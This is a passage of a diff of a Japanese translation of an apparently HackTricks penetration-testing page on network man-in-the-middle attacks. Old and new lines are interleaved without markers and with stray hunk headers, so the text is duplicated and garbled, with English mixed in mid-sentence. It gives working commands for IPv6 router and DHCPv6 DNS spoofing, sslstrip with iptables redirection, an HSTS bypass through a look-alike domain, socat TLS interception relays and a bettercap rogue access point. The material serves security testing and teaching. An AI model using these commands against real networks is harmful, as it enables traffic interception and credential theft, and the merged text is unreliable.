```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
```
### IPv6 DHCPスプーフィング
### IPv6 DHCP spoofing
デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを構成しようとします。これにより、攻撃者は自分自身をDNSとして構成するためにDHCPv6パケットを送信することができます。DHCPは被害者にIPv6も提供します。
デフォルトでは、一部のOSはネットワーク上のDHCPv6パケットを読み取ってDNSを設定しようとします。
そのため、攻撃者はDHCPv6パケットを送信して自分をDNSとして設定することができます。
DHCPは被害者にIPv6アドレスも割り当てます。
```bash
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
```
### HTTP (フェイクページとJSコードインジェクション)
### HTTP (フェイクページとJSコード注入)
## インターネット攻撃
### sslStrip
基本的に、この攻撃は、**ユーザー**が**HTTPS**バージョンに**リダイレクト**される**HTTP**ページに**アクセス**しようとした場合に行われます。**sslStrip**は、**クライアント**との**HTTP接続**と**サーバー**との**HTTPS接続**を**維持**するため、**プレーンテキスト**で接続を**スニッフィング**することができます。
基本的にこの攻撃は、**user**が**access**し、**HTTP**ページが**redirecting**して**HTTPS**版に移行する場合に発生します。**sslStrip**は**maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** を行うため、接続を**plain text**で**sniff**できるようになります。
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -697,29 +704,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
```
More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
詳細は [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
### sslStrip+ と dns2proxy を使用した HSTS バイパス
### sslStrip+ と dns2proxy を使た HSTS バイパス
**sslStrip+ と dns2proxy** の **違い** は、**sslStrip** に対して、例えば _**www.facebook.com**__**wwww.facebook.com**_ **にリダイレクト** し(**追加の** "**w**" に注意)、このドメインの **アドレスを攻撃者の IP** に設定することです。この方法で、**クライアント** は _**wwww.facebook.com**_ **(攻撃者)** に **接続** しますが、裏では **sslstrip+****www.facebook.com** との **実際の接続****維持** します。
**sslStrip+ and dns2proxy** が **sslStrip** と異なる点は、例えば _**www.facebook.com**__**wwww.facebook.com**_**リダイレクト****余分な**"**w**" に注意し、そのドメインのアドレスを攻撃者のIPに設定することです。これにより、**クライアント**は _**wwww.facebook.com**_(攻撃者)に**接続**しますが、裏側では **sslStrip+****www.facebook.com** への HTTPS の実際の接続を**維持**します。
この技術の **目的****HSTS を回避する** ことで、_**wwww**.facebook.com_ **は** ブラウザの **キャッシュ** に保存されないため、ブラウザは **HTTP での facebook 認証を実行するように騙されます**。\
この攻撃を実行するには、犠牲者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしなければならないことに注意してください。これは、http ページ内のリンクを修正することで実行できます。
この手法の**目的**は HSTS を**回避する**ことです。なぜなら _**wwww.facebook.com**_ はブラウザの**キャッシュ**に保存されないため、ブラウザは騙されて **HTTPでのfacebook認証** を行ってしまうからです。\
この攻撃を行うには、被害者が最初に [http://www.faceook.com](http://www.faceook.com) にアクセスしようとする必要があり、https ではないことが重要です。これは http ページ内のリンクを変更することで行えます。
More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip または sslStrip+ はもう機能しません。これは、ブラウザに事前保存された HSTS ルールがあるためで、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS 経由でアクセスします。また、事前保存されたルールや他の生成されたルールは、** [**`includeSubdomains`**](https://hstspreload.appspot.com) **フラグを使用する可能性があるため、以前の _**wwww.facebook.com**_ の例は、_**facebook.com**_ が `includeSubdomains` で HSTS を使用しているため、もはや機能しません。**
**sslStrip や sslStrip+ はもはや機能しません。これはブラウザに事前保存された HSTS ルールが存在するためで、たとえユーザが「重要な」ドメインに初めてアクセスする場合でも HTTPS 経由でアクセスするからです。また、事前保存されたルールやその他生成されるルールはフラグ** [**`includeSubdomains`**](https://hstspreload.appspot.com) **を使用することがあり、したがって先ほどの** _**wwww.facebook.com**_ **の例は、** _**facebook.com**_ **が `includeSubdomains` を使って HSTS を採用しているため、もはや通用しません。**
TODO: easy-creds, evilgrade, metasploit, factory
## ポートでの TCP リッスン
## TCP ポートでの待ち受け
```bash
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
```
## TCP + SSL ポートでリッスン
## TCP + SSL ポートで待ち受け
#### キーと自己署名証明書を生成する
#### 鍵と自己署名証明書の生成
```
FILENAME=server
# Generate a public/private key pair:
@ -729,18 +736,18 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
#### 証明書を使用してリッスンす
#### 証明書を使用して待ち受け
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### 証明書を使用してリッスンし、ホストリダイレクトする
#### 証明書を使用してリッスンし、ホストリダイレクトする
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
時には、クライアントがCAが有効であることを確認すると、**CAによって署名された他のホスト名の証明書を提供する**ことができます。\
もう一つの興味深いテストは、**要求されたホスト名の証明書を自己署名で提供する**ことです。
場合によっては、client が CA を有効かどうか確認する場合、**serve a certificate of other hostname signed by a CA** を返すことができます。\
別の興味深いテストは、要求された hostname の c**ertificate of the requested hostname but self-signed** を返すことです。
他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用し、Diffie-Hellmanのようなアルゴリズムを強制的に使用し実際の秘密鍵で何も復号化する必要がないもの、クライアントが実際の秘密鍵のプローブハッシュのようなを要求したときに、偽のプローブを送信し、クライアントがこれをチェックしないことを期待します。
他に試すべきこととしては、certificate を valid certificate で署名しようとする(ただしその証明書自体は有効な CA ではないことや、valid public key を使い diffie hellman のようなアルゴリズムを強制する(実際の private key で何も decrypt する必要がないもの)ことがあります。そして client が real private key の probe例えば hashを要求してきたときに、偽の probe を送って client がこれをチェックしないことを期待します。
## Bettercap
```bash
@ -768,17 +775,17 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### アクティブディスカバリーノート
### アクティブ検出ノート
UDPパケットが要求されたポートを持たないデバイスに送信されると、ICMP(ポート到達不能)が送信されることに注意してください。
UDP パケットが要求されたポートを持たないデバイスに送信されると、ICMP (Port Unreachable) が返されることに留意してください。
### **ARPディスカバリ**
### **ARP discover**
ARPパケットは、ネットワーク内で使用されているIPを発見するために使用されます。PCは各可能なIPアドレスにリクエストを送信し、使用されているものだけが応答します。
ARP パケットは、ネットワーク内で使用されている IP を検出するために使用されます。PC は各可能な IP アドレスに対してリクエストを送信する必要があり、実際に使用されているものだけが応答します。
### **mDNSマルチキャストDNS**
### **mDNS (multicast DNS)**
Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエストをX msごとに送信します。このパケットを受信したマシンは通常、このリクエストに応答します。その後、「services」に応答するマシンを検索します。
Bettercap は MDNS リクエスト(各 X ms ごと)を送信して **\_services\_.dns-sd.\_udp.local** を問い合わせます。このパケットを受け取ったマシンは通常このリクエストに応答します。次に、"services" に応答するマシンのみを検索します。
**ツール**
@ -786,29 +793,32 @@ Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエ
- Bettercap (net.probe.mdns)
- Responder
### **NBNSNetBiosネームサーバー**
### **NBNS (NetBios Name Server)**
Bettercapは、ポート137/UDPに「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」という名前を要求するブロードキャストパケットを送信します。
Bettercap はポート 137/UDP に対して "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA" という名前を問い合わせるブロードキャストパケットを送信します。
### **SSDP(シンプルサービスディスカバリープロトコル)**
### **SSDP (Simple Service Discovery Protocol)**
Bettercapは、すべての種類のサービスを検索するSSDPパケットをブロードキャストしますUDPポート1900
Bettercap はあらゆる種類のサービスを検索するために SSDP パケットをブロードキャストします (UDP Port 1900)
### **WSD(ウェブサービスディスカバリ)**
### **WSD (Web Service Discovery)**
Bettercapは、サービスを検索するWSDパケットをブロードキャストしますUDPポート3702
Bettercap はサービスを検索するために WSD パケットをブロードキャストします (UDP Port 3702)。
### Telecom / Mobile-Core (GTP) Exploitation
### テレコム / モバイルコアGTPエクスプロイト
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## 参考文献
## 参考資料
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **ネットワークセキュリティ評価: ネットワークを知る第3版**
- **実践的IoTハッキング: IoT攻撃の決定版ガイド。著者: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- **Network Security Assessment: Know Your Network (3rd edition)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}